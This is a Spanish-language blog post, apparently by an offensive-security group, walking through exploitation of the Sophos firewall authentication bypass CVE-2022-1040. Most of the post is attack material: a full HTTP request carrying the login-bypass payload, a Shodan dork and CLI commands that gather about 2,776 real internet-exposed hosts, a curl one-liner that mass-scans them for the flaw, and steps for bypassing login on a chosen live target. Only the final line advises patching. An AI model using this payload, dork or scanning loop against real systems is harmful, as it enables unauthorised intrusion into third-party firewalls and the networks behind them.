Análisis Vulnerabilidad CVE-2022-1040 (Sophos RCE)

En el grupo de investigación Toasec, dedicado a ciberseguridad ofensiva nos dimos la tarea de realizar el análisis sobre esta vulnerabilidad en los firewalls de Sophos.

Dicha vulnerabilidad como muchas otras pueden ser notificadas y encontradas si sabes buscar en twitter, en donde observamos que desde el mes de marzo se comenzaron a observar artículos sobre el RCE

Fuente: https://www.bleepingcomputer.com/news/security/critical-sophos-firewall-vulnerability-allows-remote-code-execution/

Si observamos los repositorios que tienen las POC

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

Podemos observar el payload (mode=151&json=) el cual es lo que nos permite realizar el bypass al login y observamos de igual manera el endpoint webconsole/webpages/login.jsp

Ahora pasamos analizar los ataques en greynose y verificar si esta siendo explotado activamente

Una vez identificamos el endpoint y comprobamos algunas rutas usadas en los ataques con greynoise podemos crear nuestro dork en shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" este dork es el que hemos identificado con mayor probabilidad, pero debemos recordar que las versiones vulnerables son Sophos XG115w Firewall 17.0.10 MR-10

Requisitos

  1. VPS de Preferencia Ubuntu Server 20.04
  2. Una cuenta de Shodan configurada para usar la CLI y su API
  3. Instalar jq

POC

  1. Preparación de los targets con shodan CLI

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443

Procedemos a verificar los datos

imagen4

Vamos a parsear los datos a un formato que nos permita la automatización y observamos que existe 2776 posibles targets

shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Ahora debemos limpiar y quitar las comas para que sea más fácil trabajar con el onliner

sed 's/,/:/g' sophos.txt > sophos-parseado.txt

Ya podemos trabajar con el onliner en un formato más adecuado

cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done; 

  1. Explotación

Una vez verificamos nuestros targets solamente es cuestión de seleccionar uno y realizar la prueba, accediendo al panel de login

Interceptamos la petición de login y la enviamos al responder

Modificamos la petición con el payload y debemos tener una redirección a la administración del firewall

imagen10

Probamos accediendo a la ruta index.jsp

imagen11

Hemos comprobado que la vulnerabilidad esta presente en el objetivo, de igual manera se encuentra activa en muchos hosts, no obstante la fecha se ha podido observar una mitigación amplia en cuanto a otras vulnerabilidad.

En estos casos lo primordial es realizar una actualización e instalación de los parches de seguridad a penas estén a disposición de parte de los fabricantes.